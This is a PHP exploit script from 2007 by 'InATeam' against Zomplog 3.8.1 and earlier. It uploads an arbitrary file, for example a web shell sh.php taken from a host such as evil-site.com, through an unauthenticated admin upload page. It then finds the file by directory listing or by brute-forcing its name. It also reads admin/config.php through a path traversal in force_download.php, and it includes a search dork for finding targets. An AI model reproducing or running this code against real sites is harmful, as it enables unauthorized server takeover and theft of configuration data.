zomplog381-upload.txt
Posted on 30 September 2007
<?php ## Zomplog <= 3.8.1 Arbitrary File Upload Exploit ## by InATeam (http://inattack.ru/) ## tested on versions 3.8.1 with security patch, 3.8.1, 3.8, 3.7.5 echo "------------------------------------------------------------ "; echo "Zomplog <= 3.8.1 Arbitrary File Upload Exploit "; echo "(c)oded by Raz0r, InATeam (http://inattack.ru/) "; echo "dork: "Powered by Zomplog" "; echo "------------------------------------------------------------ "; if ($argc<3) { echo "USAGE: "; echo "~~~~~~ "; echo "php {$argv[0]} [url] [file] "; echo "[url] - target server where Zomplog is installed "; echo "[file] - file to upload (local or remote) "; echo "examples: "; echo "php {$argv[0]} http://site.com/ http://evil-site.com/sh.php "; echo "php {$argv[0]} http://weblog.site.com:8080/ /root/sh.php "; echo "php {$argv[0]} http://site.com/zomplog/ sh.php "; die; } /** * software site: http://zomplog.zomp.nl/ * * i) /admin/upload_files.php is supposed to be run only from admin panel * (it is included in /admin/editor.php, other admin scripts) but unathorized * users can call it directly, because the script doesnt check if you are admin * ii) /admin/upload_files.php allows to upload any files: it checks only * MIME-types of the files but not the extensions. For example, it is possible * to upload php script and then execute it * iii) uploaded file will be moved to /upload directory and its name will * have the format like this: * [YearMonthDay]_[RandomNumberFrom1To999]_[OriginalFilename] * In the version 3.8.1 additional prefix is used. By default /upload is not * protected by .htaccess, so we can get the contents of it. * However sometimes directory listing is denied and in this case we need to * brute the filename (max number of requests is 999) */ error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",10); $url = $argv[1]; $file = $argv[2]; $url_parts = parse_url($url); $host = $url_parts['host']; $path = $url_parts['path']; if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80; $filename = basename($file); echo "[~] Getting $filename... "; $fp = file_get_contents($file); $fp ? print("OK ") : die("failed "); $data = "--------bndry31337 "; $data.= "Content-Disposition: form-data; "; $data.= "name="file"; filename="{$filename}" "; $data.= "Content-Type: text/plain "; $data.= $fp." "; $data.= "--------bndry31337 "; $packet = "POST {$path}admin/upload_files.php HTTP/1.0 "; $packet.= "Host: {$host} "; $packet.= "User-Agent: InAttack evil agent "; $packet.= "Content-Type: multipart/form-data; boundary=------bndry31337 "; $packet.= "Content-Length: ".strlen($data)." "; $packet.= "Connection: close "; $packet.= $data; echo "[~] Uploading {$filename}... "; $resp = send($packet); $exploded = explode(" ",$resp); $errno=array(); preg_match('@(d{3})@',$exploded[0],$errno); if ($errno[1]!=200) $resp = false; $resp ? print("OK ") : die("failed "); $packet = "GET {$path}upload/ HTTP/1.0 "; $packet.= "Host: {$host} "; $packet.= "User-Agent: InAttack evil agent "; $packet.= "Connection: close "; $resp = send($packet); if (strpos($resp, "force_download.php") !== false) { echo "[+] Directory listing of {$path}upload/ is allowed "; $matches=array(); if (preg_match('/(temp_)*d{8}_d{1,3}_'.$filename.'/',$resp,$matches)){ $newname = $matches[0]; echo "[+] Filename is $newname "; echo "[+] {$url}upload/{$newname} "; } else die("[-] Exploit failed "); } else { echo "[-] Directory listing of {$path}upload/ is denied "; //it is necessary to determine if prefix 'temp_' is used before the filename echo "[~] Getting Zomplog's version... "; $packet = "GET {$path}upload/force_download.php?file=../admin/config.php HTTP/1.0 "; //thx to Dj7xpl for this bug =) $packet.= "Host: {$host} "; $packet.= "User-Agent: InAttack evil agent "; $packet.= "Connection: close "; $resp = send($packet); $matches=array(); if (preg_match('@$version = "([^"]+)";@',$resp,$matches)) { echo $matches[1]." "; $prefix = ("3.8.1" == $matches[1]) ? 'temp_' : ''; } else { echo "3.8.1 with sec patch "; $prefix = "temp_"; } echo " Bruting the filename..."; for($i=1;$i<1000;$i++) { $packet = "GET {$path}upload/".$prefix.date("Ymd")."_".$i."_"; $packet.= urlencode($filename)." HTTP/1.0 "; $packet.= "Host: {$host} "; $packet.= "User-Agent: InAttack evil agent "; $packet.= "Connection: close "; $resp = send($packet); status(); $exploded = explode(" ",$resp); $errno=array(); preg_match('@(d{3})@',$exploded[0],$errno); if ($errno[1]==200) { $newname = $prefix.date("Ymd")."_".$i."_".$filename; echo "[+] Filename is {$newname} "; echo "[+] {$url}upload/{$newname} "; die; } } printf("[-] Exploit failed%9s ",''); } function send($packet) { global $host,$port; $ock = fsockopen(gethostbyname($host),$port); if (!$ock) return false; else { fputs($ock, $packet); $html=''; while (!feof($ock)) $html.=fgets($ock); } return $html; } function status() { static $n; $n++; if ($n > 3) $n = 0; if($n==0){ print " [-] "; } if($n==1){ print " [\] "; } if($n==2){ print " [|] "; } if($n==3){ print " [/] "; } } ?>